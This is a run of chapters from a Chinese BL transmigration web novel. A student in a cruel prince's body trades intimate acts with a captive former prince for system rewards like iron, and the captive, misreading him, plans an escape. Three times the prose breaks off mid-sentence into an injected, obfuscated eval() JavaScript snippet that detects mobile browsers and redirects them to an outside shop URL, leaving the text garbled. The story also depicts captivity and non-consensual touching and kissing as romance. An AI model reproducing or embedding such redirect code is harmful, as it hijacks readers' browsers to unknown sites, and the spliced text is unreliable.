他一边说,一边下意识地用手指虚点着图纸,神情专注,竟暂时忘却了身处何地,面对何人。烛光落在岑月白的侧脸上,他长睫微垂,有种别样的吸引力。 倪映天的眼睛慢慢亮了起来,之前的疲惫和烦躁一扫而空,取而代之的是浓厚的兴趣和探究。 他频频点头,眼中赞赏之色越来越浓。喃喃几句后,他受到启发,立刻拿起炭笔,在岑月白指出之处快速修改,添加注释,思路似乎豁然开朗。 岑月白安静地看着他奋笔疾书。 此刻的倪映天眉头微锁,目光清澈专注,没有阴鸷,没有邪气,甚至因为遇到“知音”而显得神采奕奕。 岑月白觉得好像没那么害怕了。 直到倪映天写完最后一个标注,将那炭笔一丢,长舒一口气,向后靠在椅背上:“大致思路定了!今年秋收后征调人手开工,抢在明年春耕前把主干渠挖通。至于那个小水库倒不着急,明年夏汛前完工即可。” “想得倒美,”岑月白不自觉地接话,语气里没了最初的畏惧和警惕,“前提是你要有足够的人手和趁手的工具。” “人手,”倪映天手指敲着扶手,盘算道,“让城里驻防的军队轮流拉出来参与工程,就当冬季拉练,强身健体,还能增进军民关系。反正闲着也是闲着。” “那铁器工具呢?开山挖渠,损耗可不小。”岑月白追问。 “铁器……”倪映天忽然顿住,转过头,目光定定地落在岑月白脸上,忽然变得异常认真。 岑月白被他看得心里毛毛的,下意识后退了小半步:“……干嘛?” 倪映天却没有回答,只是上下打量着他,目光在他单薄的中衣上停留了一瞬。 忽然,他伸出手,将他的衣服扒开。 岑月白身体瞬间僵直,刚刚的氛围和谐地让他完全忘了! 眼前这人根本不是和自己共谋民生的同道之人。 皮囊之下,倪映天还是那个凶狠残暴的猛兽! 10. 他不行 丝绸滑落,堆叠在岑月白僵硬的腰间。 书房里的暖意仿佛瞬间被抽空,冰冷的空气直接贴上肩颈和背脊。 岑月白心脏狂跳。 他脸色白了又红,红了又白。 果然! 无论表面讨论水利时显得多么正常专注,骨子里,倪映天还是那个恶魔! 刚才那些平和甚至带点欣赏的对话,不过是麻痹猎物,增添情趣的新把戏! 倪映天不容置喙的声音传来,似乎比平时低沉沙哑了些:“头发,拢到前面去。转过去。” 岑月白闭上眼,睫毛不住地剧烈颤抖。 他明白,这是又要在他身上“练字”了,就像那些不堪的画册和话本里描绘的一样,倪映天将他视为可以随意涂写的玩物。 他认命般地深吸一口气,再缓缓吐出。 岑月白双手撑在书案边缘,背对着倪映天,脖颈低垂,露出脆弱的后颈。 在满室明亮的烛火下,那肌肤白得晃眼,仿佛上好的羊脂玉,泛着温润的光泽。 最后一刻,岑月白忍不住回眸瞥了倪映天一眼。 却见倪映天握笔的手悬在半空,目光正落在他背上,呼吸似乎凝滞,眼神里没有预想中的淫邪或迫不及待,反而像是看呆了? 两人的目光在空气中短暂相触。 倪映天猛然回神,立刻仓促地别开眼,语气硬邦邦地再次命令:“转过去。” 岑月白闭上眼睛。 他能清晰地感觉到那道目光如同实质,烙上了他的皮肤。 他等待着,等待着粗暴的摆布,或轻佻的抚摸触碰。 然而都没有。 预想中的一切都没有发生! 死寂中,他听到倪映天深深吸了一口气,又缓缓吐出,带起衣料的轻微窸窣。然后,是毛笔蘸取浓墨的细微声响。 紧接着,一支蘸饱了浓墨的毛笔,带着微凉的触感,轻轻落在了他的背脊中央。 岑月白浑身一颤,肌肉瞬间绷紧。 来了…… 但那笔尖落下后,竟僵硬地顿在了原地。 持笔的人似乎在犹豫,在思考。 这短暂的停顿比直接的书写更折磨人。 终于,笔尖开始移动。 很轻,很稳。 没有梦里的那种刻意拖拽,蜿蜒挑逗,也没有故意延长折磨的停顿。只是平稳地划过皮肤,带来一阵阵清晰而陌生的痒意。 像羽毛尖端最细微的撩拨,顺着脊椎的沟壑丝丝缕缕地蔓延开,钻入他的四肢百骸。 他能清晰地感知到笔锋的走向,横、竖、撇、捺…… 对方确实在写字。 笔画方方正正,显得有点刻板,像是初学者在认真临帖。 整个过程很快,大概只写了几个字,笔尖便离开了。那种湿痒的触感骤然消失,竟让皮肤生出一丝空落和不适。 “咳咳……好了好了。” 倪映天的声音响起,带着点奇怪的干涩,随即是毛笔被匆忙搁回笔山的轻响。 ……结束了? 岑月白懵了。 他愕然转过身,甚至忘了拉起滑落的衣衫,大片胸膛和精致的锁骨露在清冷的空气里,脸上写满了难以置信的茫然。 “这就……结束了?你……写的什么?” 倪映天却没有看他,脸颊侧对着烛光,泛起一层红晕,眼神飘忽地望向别处,语气是强作镇定的心虚:“没,没什么……” 他慌乱地站起身,快步走到书房门口,对着外面低声吩咐了几句。 岑月白趁他转身,扭过头,借助房内铜镜模糊的反射,看向自己的后背。 墨迹未干,清晰地印在雪白的皮肤上。 字迹并不好看,歪歪扭扭,结构松散,像是初学者费了很大劲才写成。 但好在笔画却横平竖直,他还是辨认出了那四个字: “精忠报国” “?”岑月白彻底呆住了,脑子里一片空白。 神经病啊?! 这是干什么?模仿岳母刺字啊?! 他提心吊胆一整晚,晚膳食不知味,沐浴焚香,被婆子们摆弄梳妆,甚至……甚至亲自给自己抹了药! 结,结果这家伙……大张旗鼓地深夜召见,就为了在他背上写个“精忠报国”?! 他图什么?! 寻我开心吗?! 简直……不可理喻! 一种荒谬感袭来,紧接着是滔天的怒火和被戏耍的羞愤。他面色复杂,一个更加离谱,连他自己都觉得不可思议的念头,忍不住地往外冒头: 他是不是不行? 倪映天是不是不行?! 他是不是根本就不行?! 倪映天端着一盆温水回来想给他擦干净。却见他正对着镜子看后背,立刻上前,有些手忙脚乱地掰过他的脸,“哎,不许看了。” 他的耳根红得几乎要滴血,扯过盆里的布巾,浸湿拧干,迅速地将岑月白背上的墨迹擦拭干净,又拿干毛巾擦干水渍,然后抓起滑落的衣衫往他身上裹,语气又快又急:“好了好了,擦掉了!不早了,快回去睡觉吧!” “你……为什么?”岑月白被他这一连串动作弄得越发混乱,挣扎着抓住自己的衣襟,难以置信地问,“为什么要写这个?” 倪映天手上动作一顿,支支吾吾:“……你管这个干什么?天冷,别想那么多,快回去吧。” 他说着,似乎觉得岑月白穿得单薄,又顺手捞起旁边太师椅上搭着的绒毯,不由分说地披在他肩上。 又是这样! 又是这样! 这种莫名其妙的体贴,若即若离的关怀! 岑月白积压多日的困惑,在此刻被彻底点燃。 他猛地挥开倪映天还想替他拢毯子的手:“我受够了!倪映天,你能不能别装了?!” 倪映天一愣:“装什么?” “装出这副样子!”岑月白脑子乱成一团,话语冲口而出,“时而冷落,时而撩拨,装什么纯情温柔,体贴入微!好像你多珍惜我,多爱护我似的!” 他越说越激动,眼前闪过那些药膏,画册,还有梦中种种,“撕开你这层皮,底下是什么龌龊心思,你自己清楚!停止吧!我不想再陪你玩这种虚伪又恶心的恋爱游戏了!” “我不怕了,我什么都不怕了,大不了一死,长痛短痛,你给我个痛快!” “什……” “我告诉你,我比你想象得要更了解你!”岑月白大口喘着气,“你这些温柔纯情的小把戏对我没用,只会让我觉得恶心!要让我爱上你,依恋你,你做梦!” “你,你等等,你冷静……我没有一定要对你怎样……” “你别装了!”岑月白盯着倪映天,“睡都睡过了!现在还装什么清纯?!” 倪映天脸色“唰”一下就红了,眼睛瞪大,脱口而出:“谁……谁他妈跟你睡过了?!” “你还敢不认?!” 岑月白气得眼圈发红,他指着自己,说,“我昏迷那天!你把我带回来!我身上那些痕迹!还有那些药!你敢说不是你……” “我哪有!我没有!” 倪映天急得额角青筋直跳,语速飞快地打断他,像是急于洗刷某种奇耻大辱。 “那我身上那些淤青怎么解释?!” “我他妈是……是不小心!把你摔了!”倪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301678|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 映天简直要跳脚,脸上红白交错,懊恼又憋屈,“我草了!谁知道揽月阁那破门槛那么高!抱你进去的时候就……就绊了一下!” “我手滑没抱住!就把你……摔地上了!我为了捞你,我跟着也摔了!你身上的淤青是磕的!碰的!不然呢!你以为是什么?!” 空气骤然死寂。 岑月白张着嘴,所有指控和愤怒都僵在了脸上。 “……你真没有?” “我是那样的人吗?!”倪映天吼回来,胸口起伏。 “怎么不是……”岑月白底气瞬间泄了,却仍下意识反驳,“但是你软禁我,不就是为了……” “谁软禁你了?”倪映天再次打断他。 “那你派那么多守卫……” “我是让你待在王府别乱跑!派护卫是看着你别自己跑出去!谁要软禁你?只要你不离开青陵城,去哪里随你!” 他喘了口气,盯着岑月白脸上变幻莫测的神情:“你……你这副表情怎么回事?怎么很失望的样子?” “哪有!”岑月白瞬间炸毛,不知是羞是恼。 他猛地拽紧肩上半滑的绒毯和凌乱的衣襟,狠狠瞪了倪映天一眼,转身拉开门,头也不回地冲进了夜色里。 他的脚步声仓促凌乱,很快消失在回廊尽头。 倪映天站在原地,听着远去的脚步声,抬手用力揉了揉眉心,低声骂了句谁也听不清的话。 书房内烛火摇曳,映着他依旧泛着红晕的侧脸和微微懊恼的神情。 半晌,他忽然冲一旁的空气骂一声: “操!我知道了,别催了!还不是都怪你!” “嫌我任务做得慢一开始就别让我穿书啊?!谁让你乱绑的,我他妈是直男!直男!” - 入夜,岑月白在床上辗转反侧。 脑海中反复回放着书房里的一切,混乱、荒谬、不解,还有一丝丝他自己都不敢深究的动摇。 所有思绪交织成一张网,将他牢牢困住,直至天色微明。 清晨,他坐在镜前,眼下依旧是熟悉的淡淡青黑。 昭昭细心地替他梳理长发,动作轻柔。 岑月白望着镜中自己的脸,忽然没头没脑地问:“昭昭,我……是不是长得不好看?” 昭昭一愣,随即用力摇头。 “那就是不好看?”岑月白侧头看了她一眼,似乎这样逗她很有趣。 昭昭立刻急了,头摇得更厉害了,最后她放下梳子,对着他竖起了一根大拇指。 这是倪映天教她的……表示“很好”,“很棒”的意思。 岑月白朝她温和地笑笑,继续对着镜子左看右看。还是觉得,自己这张脸至少算不上倒胃口。 连祝枭那家伙也说过,他是倪映天所有“床伴”里最出众最漂亮的一个……可为什么,倪映天偏偏对他一点兴趣都没有了呢? 从昨天祝枭的话里,他知道,倪映天从前在青陵城也不乏花天酒地,找小倌陪酒什么的……怎么忽然转了性子? 为什么对自己这么矛盾? 居然……居然连自己绝食自尽那次,那么好的机会,倪映天都没下手?! 昨夜书房,那样暧昧的情境,对方居然只写了四个字就慌忙赶他走,自己还脸红…… 还写的“精忠报国”…… 怎么回事呢? 总不可能是真得喜欢我…… 莫非是精神失常,得了什么失魂症? 岑月白思来想去,想不出个所以然,最后,他做出一个简单粗暴的结论: 他就是不行了。 对,肯定就是这样! 倪映天这家伙,根本就是不行! 11. 乔晏 乔晏从来没想过,穿越这种事会真的发生在自己身上。 作为一个酷爱看基建小说的男大学生,他闲暇时的梦想就是能回到古代,然后利用现代知识大展拳脚! 修路、筑城、兴水利、搞发明,带领一方百姓走向繁荣! 但他万万没想到,“穿书”这种离谱的事,居然真能砸自己头上?! 乔晏睁开眼睛。 意识清醒的瞬间,海量陌生的记忆涌入脑海,一个冰冷的声音在脑海中响起: 【绑定成功】 【宿主:乔晏】 【目标世界:《囚月》】 【宿主身份:大雍梁王,倪映天】 【主线任务:攻略本书男主岑月白,达成关键剧情节点,即可获得脱离机会……】 乔晏一喜,自己穿越到了古代! 但他很快捕捉到了一个词,愣了愣:“等等,什么叫攻略男主?” 系统随即将原书的世界观信息投射到他脑海中。 只瞥了一眼,乔晏的脸就青一阵白一阵。 这根本不是一篇普通的小说! 这是一本限制级!BL!耽美!小说!。 而且是那种尺度极大,情节极端的类型。 光是书籍简介下面,“囚禁”“强制爱”“训诫”“束缚”“病娇”之类的标签,就排了足足四五行!内容摘要更是露骨得让他这个二十年的纯情处男眼前发黑!好多标签他甚至都不认识! 而乔晏的新身份,就是那个黑深残的暗黑变态攻! “……” 要他攻……攻略男主…… “开、开什么玩笑!”乔晏在脑海里怒吼,“让我去干这个?不可能!绝对不可能!你们找错人了,快送我回去!” “绑定过程已完成,无法逆转。”系统的声音依旧没有起伏,“您必须完成任务。” “我不干!我乔晏就是饿死,死外边,从这儿跳下去,也绝不会去睡男人!” 消极怠工! 必须消极怠工! 他打定主意,就把那个什么岑月白找个地方供起来,然后自己利用王爷身份,安心搞他的古代基建大业。 他好歹是个王爷,大可以利用这个身份做自己的事业。 基建不香吗? 至于什么攻略任务,见鬼去吧! 然而,系统见他油盐不进,任务列表忽然刷新了。 任务还是那些令人眼瞎的任务,什么“牵手”、“亲吻”、“共浴”、“调教”……但后面的奖励栏,却悄然变了。 【奖励:青陵城高精度三维地形图】 【奖励:联网搜索功能】 【奖励:精铁锭x3000斤】 【优质杂交粮种】 乔晏眼睛都直了。 他发现自己,可耻地动摇了。 “就……就先看看,那个岑月白到底长什么样,能让原主那么疯。” 他给自己找了个冠冕堂皇的理由。 然后,在王府暗牢里,他见到了那个被捆起来丢在角落的身影。 只一眼,乔晏就愣住了。 脏污的牢房,地面阴冷,绳索勒进苍白的肌肤,留下刺目的红痕。那人蜷缩着,长发凌乱地贴在汗湿的额角和脸颊,听到动静,他颤抖着抬起头。 那是一张无法用言语形容的脸。 一瞬间,乔晏脑子里只剩下“我靠”,“绝了”,“这是真人?”之类的想法。 这建模也太他妈牛逼了! 岑月白的肌肤是冷白的,唇色淡得像褪了色的花瓣,眉毛细长,眼尾发红。 明明身处污秽,却有种奇异的纯净的美,仿佛误坠泥淖的雪夜昙花,或是被荆棘困住的雀鸟。 那人因为自己的靠近不断发抖,眼睛里掩不住的畏惧,眼睛湿漉漉的像是像是一只惊恐的幼鹿过。 但凡是个正常男人,都不忍心再看这样的一个人受苦! 他将人抱回暖殿里,想将对方身上的束缚解开,为了不显得暧昧,他摸出了一把匕首,将那些绳子一条一条地挑开。 结果,刀锋靠近时,那人居然闭上了眼。 对方的脖颈微微仰起,一副“要杀要剐悉听尊便”的决绝模样。昏暗的光线下,被绳索勾勒的腰身纤细得惊人,随着呼吸微微起伏…… 就……就好像下一秒自己要对他做些什么一样! “气氛怎么更奇怪了!”乔晏吞了吞口水,在心里暗骂道。 旋即,他察觉到自己的心跳,跳得格外地快,“操,乔晏你要点脸,他是个男人!” 他连忙把匕首一甩,强自镇定地想要出去冷静冷静。 然而,等他“冷静”完毕,处理完几件杂事再回去时,看到的景象让他差点当场脑溢血。 岑月白坐在桌边,居然……居然只穿着一身薄如蝉翼的白色纱衣。 轻纱几乎起不到什么遮蔽作用,牛奶般白皙莹润的皮肤,纤细柔韧的腰肢,笔直修长的小腿…… 每一处轮廓都若隐若现,引人遐想。 那人正咬着没什么血色的下唇,脸颊却泛着沐浴后的微红,眼神警惕又屈辱地看着他。 乔晏的脑袋“嗡”的一声,血液似乎都冲到了脸上。 他呆立了好几秒,才猛地回过神,发现自己刚才居然看傻了! “操!乔晏你他妈不是基佬!清醒一点!” 他在内心疯狂咆哮,羞恼交加,一股邪火无处发泄,全都冲着那些擅作主张给岑月白换这身衣服的下人去了。 他几乎是狼狈地摔门而出,再次落荒而逃。 从那以后,乔晏打定主意,能不见岑月白就不见! 这人长得太犯规了!白玉一般,仙姿玉色。 那张脸完美无缺,由内而外散发的易碎气质,只要是个男人就忍不住把人揽进怀里好好怜爱。尤其是对方那倔强又自傲的目光,又更能唤起男人内心强烈的征服欲。 多看一眼,他都怕自己坚守了二十年的性向岌岌可危。 他可是直男!他乔晏这辈子睡什么,也不能睡男人! 这是原则问题! 到青陵封地后,乔晏,不,是梁王倪映天几乎把全部精力都投入到巡视领地上。 倪映天是先帝最宠爱的小儿子,六皇子,被封为梁王。 他的封地梁州,位于大雍西南边陲,与落云国接壤,共有青陵、舞阳、汉川三座主要城池。原主选这里当封地,据说就是为了离京城的“麻烦”远点,也为了离落云国的某人近些。 这也正合倪映天心意! 他带着随从,骑马沿着岷江从青陵到舞阳,再到汉川,花了十几天时间,初步摸清了领地状况。 一个字,穷;两个字,很穷;三个字,非常穷! 优点是潜力大! 正当他摩拳擦掌准备大干一场,系统的警报尖锐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301679|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地响了起来: 【警告:任务目标岑月白健康状况急剧恶化,生命体征微弱!有死亡风险!】 他脑子里“轰”的一声。 岑月白不能死!他死了任务直接失败,自己也得玩完! 他没再停留,立刻马不停蹄地往回赶,心急如焚。 他换了三匹最快的马,不吃不喝不眠,疯了一样往青陵赶。 两天一夜的疾驰,赶到王府时,他几乎是从马背上滚下来的,腿都是软的。 他无视了所有迎上来的仆人,踉跄着冲进揽月阁。 然后,他看到了蜷缩在角落,几乎没了人形的岑月白。 那人头发枯乱,嘴唇干裂,脸色灰败,身体微微抽搐着,仿佛随时会散掉。那一瞬间,倪映天的心被狠狠揪了一下,然后是铺天盖地的愧疚。 如果不是自己刻意回避,如果不是自己没安排好…… 他怎么会被人欺负到绝食自尽的地步?倪映天恨不得抽自己两巴掌。 他将人小心翼翼地抱起来,岑月白轻得吓人,浑身滚烫。 高烧! 他想去找大夫,结果因为不习惯古代高高的门槛,绊了一下。倪映天吓了一跳,连忙抱紧怀里的人,自己做了肉垫,让岑月白摔在了自己怀里。 他手忙脚乱地叫人点炉取暖,找来大夫,又亲自守着熬了米汤,一点一点喂进去。 岑月白昏迷了三天,他就在床边守了三天,内心的愧疚和一种陌生的怜惜感折磨着他。 他看着岑月白病弱地几乎要死掉的脸,忽然发觉这人跟自己一样,不过是卷入其中的可怜人。 自己莫名其妙穿成变态反派,而岑月白,本该是一国之君,光风霁月,却因为原主的私欲和阴谋,沦落至此,像折翼的凤凰,困于囚笼。 如果有选择,他真想放他自由,帮他回到应有的位置。 可惜,系统不让。 守着岑月白的那些日夜,倪映天的目光总是不由自主地飘向系统任务列表里,那个最简单的,奖励却无比诱人的任务【初次牵手】。 在巡城的过程中,倪映天就多次打过这个任务的心思…… 因为这个任务的奖励是,青陵城的详细地形图,那可不是古代落后的堪舆图,而是高精密的现代工具绘制的地形图,十分精密详细。有这东西,他想规划农田,道路,兴修水利,不知道省去了多少麻烦。 而且,只是牵个手而已……抱都抱过好几次了。 更何况,他现在昏迷着,什么都不知道,自己牵一下,神不知鬼不觉的…… 这个念头像野草一样疯长。 终于,在某个岑月白呼吸平稳的下午,倪映天做贼似的,屏住呼吸,慢慢地将手探进了被子,握住了里面那只冰凉而纤细的手。 触感……比他想象中还要好。 皮肤细腻微凉,手指修长,骨节分明。握在手里,像握住了一块冷玉。 他正心神荡漾,没注意到床上的人睫毛颤动了一下。 然后,他就对上了一双满是惊恐和疑惑的眼睛。 “操!”倪映天吓得魂飞魄散,差点从凳子上摔下去,他猛得甩手就想走。 结果他这过激反应把刚醒的岑月白也吓了一跳,剧烈地呛咳起来,咳得撕心裂肺。 得,走不成了。 倪映天只能硬着头皮,一边心里骂自己手贱,一边笨手笨脚地继续照顾病人。 12. 出府 那天之后,倪映天严厉惩处了之前欺侮岑月白的下人,尤其是那三个色胆包天的混蛋。 倪映天换了一批新的仆役,并嘱咐刚买来的侍女昭昭好生照料。 他自己则投入了真正的忙碌。 民以食为天,粮食问题永远是根本。 既然地图到手,他准备先从青陵下手,然后再想办法搞到舞阳和汉川的地图。 他再次普查了青陵城的人口,统计了现有的耕地,又在城外划出荒地,准备再修条水渠用于灌溉。 尽量在明年春耕前,安排好统一的耕种计划。 最好还有优质的种子。 种子…… 系统列表里倒是有,奖励是“优质杂交粮种”。他点开任务详情看了一眼,脸瞬间红到脖子根,立刻关掉。 “不行!绝对不行!”他对自己说,“还不如自己学育种!” 但育种是门高深学问,虽然有不少基建文储备,但他又不是最强大脑,许多技术细节他哪记得? 他抱着试试看的心态,翻看系统其他任务,然后眼睛一亮——【联网搜索】! 虽然任务要求是“接吻”,而且根据时长和“完成度”折算联网时间,但比起那些更离谱的…… 好像……还能接受?更何况甚至不用深吻,碰碰嘴皮子都算。 他又想起了岑月白。 据昭昭说,那人自从上次大病,一直食欲不振,疑神疑鬼。倪映天心里那点微妙的愧疚感又冒了出来。他做了好久心理建设,又找了个熟悉落云国饮食的侍卫,弄来些落云国的点心,再次踏进了揽月阁。 - 岑月白的气色好了些,坐在屋内的矮桌旁,看到自己时,又不由得警觉起来,坐起身,稍微端正了坐姿。 直到看到那些家乡点心,他的眼睛才亮了一瞬,随即陷入某种遥远的回忆。 倪映天遣退了所有人,包括昭昭。 当屋内只剩他们两人时,岑月白才幡然回神。他眼中的雾气还未散,茫然地看着他。 倪映天只觉得对方美得像是月光化成的精灵。 自己如此轻易就被蛊惑了,被勾着向他走去。 他一步步走近,岑月白一步步后退,直到退无可退。看着对方紧张咬唇的模样,倪映天竟从中体会到一种奇异的乐趣和快意。 他心中一惊,只觉得岑月白真不愧是限制文的男主! 勾人手段了得! 岑月白紧张地咬着自己的唇,不知所措,其实他也十分纠结…… 前世自己单身了二十年,这可是初吻! 初吻! 居然要给一个男人?! “就,就一下……为了大业!” 倪映天在心里默念,然后闭上眼,猛地吻了上去。 嘴唇的触感比想象中柔软。他能感受到岑月白身体瞬间僵直。 倪映天也不敢多留,一触即分,然后再次落荒而逃。 那一晚,他心跳失常了好久,最终换来的两个时辰的联网时间。 他疯狂查阅农业知识,下载资料,差点把系统提供的临时存储区塞爆。他却沮丧地发现,他还是高估了自己! 小说里那些靠着知识一步登天实在是太难了,他很难在两个月之内,把自己搞成一个农学大师。 这些知识的事还没愁完,另一个难题又摆在了他的面前。 他修水渠的计划缺少了最关键,最基础性的东西——工具。 要想赶在明年春耕之前,迅速挖通这么大规模的水渠,无疑需要他调用城里的军队。但一查仓库,发现铁器严重不足! 里面的铁器只能供三百余人使用,而他这次少说要调用千人,远远不够。 更何况仓库里的铁器年代久远,已经生出锈迹,总不能让他的军队徒手挖渠吧?! 但如果水渠挖不好,又会耽误春耕。没有足够的供水,他规划出来垦荒的大片荒地就根本没有能力丰收,只会耗费更多的人力物力。 此外,冬季垦荒培肥的农具也有缺口。 缺铁!缺大量的铁! 而梁州这地方,偏偏没什么像样的大铁矿,向周边购买或借用又远水难救近火。 倪映天愁得头发都快薅掉了。 难道宏伟的基建计划,刚起步就要夭折在“巧妇难为无米之炊”上? 倪映天的目光,再次投向了系统。 他记得有不少任务会有些资源奖励,里面不乏精铁锭…… 但是那些回报是实际资源的任务一般都非常的……倪映天看了两眼,不忍再看下去…… 最终在一堆令人眼花缭乱,尺度惊人的任务中,他扒拉了半天,终于找到一个奖励是“精铁锭5000斤”,而任务内容看起来…… 似乎,也许,大概……还能咬牙尝试一下的…… 他又纠结挣扎了两天,无数次想放弃,但看着空空如也的仓库和紧迫的工期,最终还是鼓起勇气,把岑月白叫到了书房。 结果就发生了昨天晚上那事…… 倪映天扶额,不忍再回忆昨夜两人那些荒唐的争论。 现在回想起来,倪映天依旧觉得脸上发烧。 岑月白那截白皙光滑的背脊在烛光下毫无防备地裸露在他眼前时,他大脑直接宕机了好几秒,喉咙发干,心跳如雷。 写那四个字的时候,手都是抖的。 但……看着系统仓库里瞬间多出来的,堆成小山的精铁锭,倪映天立刻把昨晚的尴尬和纠结抛到了九霄云外。 五千斤! 虽然仔细算算,全打工具也就够七八百人用的,加上库存老家伙,勉强能周转开。 但缺口依然存在,后续的农具,甚至以后的发展……都需要更多的铁。 “看来还得想办法从其他地方搞铁,或者……”他的目光又飘向了任务列表,随即打了个寒颤,“不行!昨晚那种事再来一次我非疯了不可!找三哥借!找商人买!总有办法!” 正当他热火朝天地安排人手运输铁锭,督促匠坊加快锻造时,系统的警报声再次尖锐响起: 【警告:任务目标岑月白,逃离可能评估大幅上涨!当前逃离风险:高!】 倪映天脸色骤变。 跑了? 岑月白想跑?! 倪映天心中一紧,立刻丢下手头工作。 我为了大业“忍辱负重”的! 岑月白怎么能跑了呢?! “顾凛!这里交给你,按计划进行!”倪映天迅速对身旁最沉稳的侍卫吩咐道,然后一把抓起披风,朝外疾走: “祝枭!谭封墨!点人,跟我出府!” “立刻把岑月白给我找回来!” 三人翻身上马,朝着城外疾驰而去。 - “昭昭,”午膳过后,岑月白忽然叫道,“今天天气好,我们出府走走。” 昭昭愣了愣。 “倪映天昨天自己说的,”岑月白转头对她笑了笑,“只要不离开青陵城,随我去哪儿。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301680|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那笑容里有些释然,也有些自嘲。昨夜书房里那场荒唐的争执后,他他也懒得再揣测倪映天怎么想的了。 忽然觉得,自己这些日子的恐惧和揣测,实在有些可笑。 不管了,倪映天是脑子被驴踢了也好,得了失心疯也罢,甚至真如自己所想“不行”也好,都不重要了! 重要的是,门开着,不逃白不逃! 梁州地处大雍西南边境,虽毗邻落云国,但两国之间隔着连绵的岷山和终年不散的云雾屏障,交通极为不便。 梁州通商艰难,自然也比不上东南淮州的花好月圆歌舞升平,更比不上西北秦州的葡萄美酒异域风情。 但青陵城好歹是边境要地,虽不繁华,街上却也热闹。 阳光暖融融地洒在青石板路上,两旁店铺林立,小摊挨着小摊,卖吃的、玩的、用的,热气腾腾,人声嘈杂。 昭昭的眼睛一下子就亮了。她跟在岑月白身后,步子都慢了,眼睛里满是新奇。 岑月白看在眼里,从怀里摸出两片薄薄的金叶子,这是早上从堂屋里顺手拿的。像是是主家随手放着打赏下人用的。 这种东西最没数,岑月白随手摸了几片揣到怀里,以备不时之需。 他把金叶子塞进昭昭手里:“喜欢什么就去买。” 昭昭吓了一跳,连忙摆手。 “拿着,”岑月白语气温和,“出来了就开心些。” 昭昭犹豫了一下,终于接过,朝他腼腆地笑了笑。 不一会儿,她就捧着油纸包跑回来:热腾腾的烧饼,晶莹的梅花冻,还有两串红艳艳的糖葫芦。 她分给岑月白一串,自己留一串,咬了一口,眼睛满足地弯起来。 岑月白也咬了一口。 糖衣脆甜,山楂微酸。 许多年前,在落云国的宫墙下,燕诀也曾偷偷塞给过他糖葫芦。山楂主产地在大雍的朔州,在落云国并不常见。那时他还是太子,要时刻注意仪态,只能躲在假山后头偷偷吃,糖汁沾了满手。 两人慢慢走着,说说笑笑,玩得很开心 昭昭在一处小摊前停下,挑了一朵橘绿色的绢花别在发间,转头看他,眼睛亮晶晶的,很搭她这一身橙黄色的裙子。 她又拉着岑月白,去买了一把十分精美的木簪,随意地将岑月白的长发挽了起来。 此刻,他只是个寻常人,带着妹妹在街上闲逛。 但岑月白这次出来,可不是为了玩。 逛累了,两人走进一家茶楼歇脚。 二楼靠窗的位置,能看见整条街。岑月白点了壶茶,几样点心。昭昭安静地坐在对面,小口吃着。 岑月白的目光却在人群中搜寻,茶喝到一半,他视线定住了。 街角处,几个风尘仆仆的男子从货栈走出来。他们穿着与大雍风格迥异的窄袖长衫,绣着落云国特有的云纹图案。他们的肤色比当地人白皙,面部轮廓也更柔和——那是落云国人特有的相貌。 岑月白的心跳快了起来。 他盯着看了片刻,转向昭昭,温声道:“方才路过那家绸缎庄,有匹葱绿色的料子很衬你。你去瞧瞧,喜欢就买下。” 说着,他又塞给她一片金叶子:“挑仔细些,不用急着回来。” 昭昭怔了怔,看看金叶子,又看看他,眼中闪过一丝了然。她没多问,轻轻点头,起身下楼了。 岑月白看着她身影消失,这才收回目光。 他端起凉了的茶,一饮而尽,起身下楼。 13. 玉 “几位可是从岷山那边来的?”岑月白开口搭讪,用的是正宗的落云官话,尾音带着锦城人特有的柔和婉转。 几个落云商人齐齐抬头,看到岑月白的瞬间,他们的动作都顿了顿。 阳光恰好从侧面照过来,勾勒出岑月□□致的侧脸轮廓,素色的布衣也掩不住他通身的清贵气质。 为首的中年汉子最先回过神,他上下打量着岑月白,迟疑道:“公子是……” “故国之人,流落至此。”岑月白苦笑两声,“离乡久了,近日听闻锦城出了些事……心中不安,忍不住想来打听一二。” 几人交换了下眼神。 中年人左右看了看,见街上行人不多,这才凑近半步,压低声音:“公子问的是……” “宫中之事。”岑月白的声音更轻了,“数月前我离家时,新君才刚登基。” 话音落下,气氛明显一滞。 中年汉子叹了口气,摇摇头:“公子还不知道?两个月前,锦城王宫……起了一场大火。” 岑月白的心猛地一沉:“然后呢?” “据说新登基的那位陛下……”另一个年轻些的商人接口,语气唏嘘,“不幸葬身寝殿了。尸体都……烧得辨不出模样。” “现在怎么样了?”岑月白继续问追问。 “现在自然在国丧。”中年人说,“停灵三月,之后就是新王登基。哎,短短一年,走了两任国君……咱们落云国,怕是要变天。” 